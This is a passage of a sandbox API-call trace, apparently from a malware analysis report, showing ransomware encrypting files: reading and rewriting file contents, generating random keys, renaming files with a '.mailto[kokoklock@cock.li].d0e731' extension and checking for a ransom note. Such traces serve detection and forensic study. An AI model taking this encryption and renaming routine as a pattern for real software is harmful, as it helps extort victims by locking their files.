lpBuffer=0x1dc3fd30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dc3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x1dc3fd30*, lpNumberOfBytesRead=0x1dc3fd2c*=0x4, lpOverlapped=0x0) returned 1 [0076.125] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.125] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.125] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.125] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a58 [0076.125] NtQuerySystemTime (in: CurrentTime=0x1dc3fd08 | out: CurrentTime=0x1dc3fd08*=132121176340190077) returned 0x0 [0076.125] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xd4ee0327 [0076.125] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x8fb0edce [0076.125] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x707d4b96 [0076.125] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x25a395cb [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xf48b28b1 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x95bcf0cc [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xaa971959 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xc2476d28 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xb1322f7f [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xdbdcd53b [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xd09b4d8b [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x32b0cc5f [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x407f2a4a [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xc19b267d [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xc82bfe25 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xcfc67664 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x2e5ba711 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xa52ed938 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xd53c43cb [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x786f160a [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x16f503b1 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xbb38c4a0 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xe9541420 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xc9e0fab4 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xafa08279 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xd5a76582 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x9c68c59f [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x55b56f37 [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x62aae39a [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x4b087ced [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0xc744e0bb [0076.126] RtlRandom (in: Seed=0x1dc3fd14 | out: Seed=0x1dc3fd14) returned 0x2b19f5b3 [0076.137] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.137] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.137] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.137] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.137] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1dc3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1dc3fcc8*=0x4096, lpOverlapped=0x0) returned 1 [0076.139] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.139] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.139] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.139] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0076.139] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0076.139] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.139] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478ad0 [0076.139] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478af8 [0076.139] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478af8) returned 1 [0076.139] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.139] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.139] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1dc3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1dc3fcc8*=0x4096, lpOverlapped=0x0) returned 1 [0076.140] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.140] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x4cb22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.140] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1dc3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1dc3fcc8*=0x4096, lpOverlapped=0x0) returned 1 [0076.141] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x4cb22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.141] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd9d0 [0076.141] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0076.141] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478af8 [0076.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478af8) returned 1 [0076.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478af8 [0076.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b20 [0076.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b20) returned 1 [0076.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0076.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd9d0) returned 1 [0076.142] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1dc3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1dc3fcc8*=0x4096, lpOverlapped=0x0) returned 1 [0076.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.142] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x93d77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.142] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1dc3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1dc3fcc8*=0x4096, lpOverlapped=0x0) returned 1 [0076.143] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x93d77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd628 [0076.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479ad8 [0076.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c10 [0076.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c10) returned 1 [0076.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.144] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b20 [0076.144] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0076.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0076.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0076.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd628) returned 1 [0076.144] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1dc3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1dc3fcc8*=0x4096, lpOverlapped=0x0) returned 1 [0076.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.144] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478ad0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1dc3fd24, lpOverlapped=0x0 | out: lpBuffer=0x3478ad0*, lpNumberOfBytesWritten=0x1dc3fd24*=0x20, lpOverlapped=0x0) returned 1 [0076.144] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478af8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1dc3fd24, lpOverlapped=0x0 | out: lpBuffer=0x3478af8*, lpNumberOfBytesWritten=0x1dc3fd24*=0x20, lpOverlapped=0x0) returned 1 [0076.144] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478b20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1dc3fd24, lpOverlapped=0x0 | out: lpBuffer=0x3478b20*, lpNumberOfBytesWritten=0x1dc3fd24*=0x20, lpOverlapped=0x0) returned 1 [0076.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.144] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478aa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1dc3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x3478aa8*, lpNumberOfBytesWritten=0x1dc3fd2c*=0x8, lpOverlapped=0x0) returned 1 [0076.144] WriteFile (in: hFile=0x9f0, lpBuffer=0x1dc3fd44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dc3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x1dc3fd44*, lpNumberOfBytesWritten=0x1dc3fd2c*=0x4, lpOverlapped=0x0) returned 1 [0076.144] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dc3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1dc3fd2c*=0x4, lpOverlapped=0x0) returned 1 [0076.144] WriteFile (in: hFile=0x9f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1dc3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1dc3fd2c*=0x6c, lpOverlapped=0x0) returned 1 [0076.145] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1dc3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1dc3fd2c*=0x20, lpOverlapped=0x0) returned 1 [0076.145] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dc3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1dc3fd2c*=0x4, lpOverlapped=0x0) returned 1 [0076.145] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.145] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a80) returned 1 [0076.145] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478aa8) returned 1 [0076.145] CloseHandle (hObject=0x9f0) returned 1 [0076.145] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3429838 [0076.145] wcscpy (in: _Dest=0x3429838, _Source="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht") returned="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" [0076.145] wcscat (in: _Dest=0x3429838, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731" [0076.145] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.146] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.146] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429838) returned 1 [0076.146] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht", dwFileAttributes=0x20) returned 0 [0076.146] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347e5e0 [0076.146] wcscpy (in: _Dest=0x347e5e0, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0076.146] wcscat (in: _Dest=0x347e5e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0076.146] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0076.146] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e5e0) returned 1 [0076.146] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0076.146] RtlExitUserThread (Status=0x1) Thread: id = 798 os_tid = 0x13b8 [0076.141] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png")) returned 0x20 [0076.143] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png", dwFileAttributes=0x20) returned 1 [0076.147] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.147] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x1dcbfc74 | out: lpFileSize=0x1dcbfc74*=2165) returned 1 [0076.147] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x871, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.148] ReadFile (in: hFile=0x9f0, lpBuffer=0x1dcbfc48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dcbfc44, lpOverlapped=0x0 | out: lpBuffer=0x1dcbfc48*, lpNumberOfBytesRead=0x1dcbfc44*=0x4, lpOverlapped=0x0) returned 1 [0076.149] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a80 [0076.181] NtQuerySystemTime (in: CurrentTime=0x1dcbfc20 | out: CurrentTime=0x1dcbfc20*=132121176340815857) returned 0x0 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x8e91ada5 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0xc94e2b61 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x1860b40b [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x471ac1bc [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x388a0bf2 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x5a50bd94 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0xc43c0d98 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x3fb47d11 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0xb19f952d [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x86b36eeb [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x85425632 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0xd11789b4 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0xfc3ccaac [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0xffab6bc7 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x96dac300 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x5663d9a8 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x527888de [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0xfd6c38d5 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0xadfe066 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x2ff87e5 [0076.181] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x7a69416d [0076.182] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0xa22ddfb7 [0076.182] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0xa149b2e5 [0076.182] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x21576039 [0076.182] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x8b27dd75 [0076.182] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x836ff9f8 [0076.182] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x42011705 [0076.182] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0xb27b5088 [0076.182] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0xe3839fac [0076.182] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x7b218a52 [0076.182] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x252f374c [0076.182] RtlRandom (in: Seed=0x1dcbfc2c | out: Seed=0x1dcbfc2c) returned 0x9665e8c9 [0076.193] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.193] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b70 [0076.193] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b70) returned 1 [0076.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.193] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x875, lpNumberOfBytesRead=0x1dcbfc20, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1dcbfc20*=0x875, lpOverlapped=0x0) returned 1 [0076.193] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1dcbfbe8 | out: lpNewFilePointer=0x0) returned 1 [0076.193] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x875, lpNumberOfBytesWritten=0x1dcbfc1c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1dcbfc1c*=0x875, lpOverlapped=0x0) returned 1 [0076.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b70 [0076.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b98 [0076.193] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b98) returned 1 [0076.193] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478b70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1dcbfc18, lpOverlapped=0x0 | out: lpBuffer=0x3478b70*, lpNumberOfBytesWritten=0x1dcbfc18*=0x20, lpOverlapped=0x0) returned 1 [0076.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b70) returned 1 [0076.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.194] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478b48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1dcbfc44, lpOverlapped=0x0 | out: lpBuffer=0x3478b48*, lpNumberOfBytesWritten=0x1dcbfc44*=0x8, lpOverlapped=0x0) returned 1 [0076.194] WriteFile (in: hFile=0x9f0, lpBuffer=0x1dcbfc5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dcbfc44, lpOverlapped=0x0 | out: lpBuffer=0x1dcbfc5c*, lpNumberOfBytesWritten=0x1dcbfc44*=0x4, lpOverlapped=0x0) returned 1 [0076.194] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dcbfc44, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1dcbfc44*=0x4, lpOverlapped=0x0) returned 1 [0076.194] WriteFile (in: hFile=0x9f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1dcbfc44, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1dcbfc44*=0x6c, lpOverlapped=0x0) returned 1 [0076.194] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1dcbfc44, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1dcbfc44*=0x20, lpOverlapped=0x0) returned 1 [0076.194] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dcbfc44, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1dcbfc44*=0x4, lpOverlapped=0x0) returned 1 [0076.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478aa8) returned 1 [0076.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0076.194] CloseHandle (hObject=0x9f0) returned 1 [0076.194] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3431580 [0076.194] wcscpy (in: _Dest=0x3431580, _Source="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" [0076.194] wcscat (in: _Dest=0x3431580, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731" [0076.195] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731" 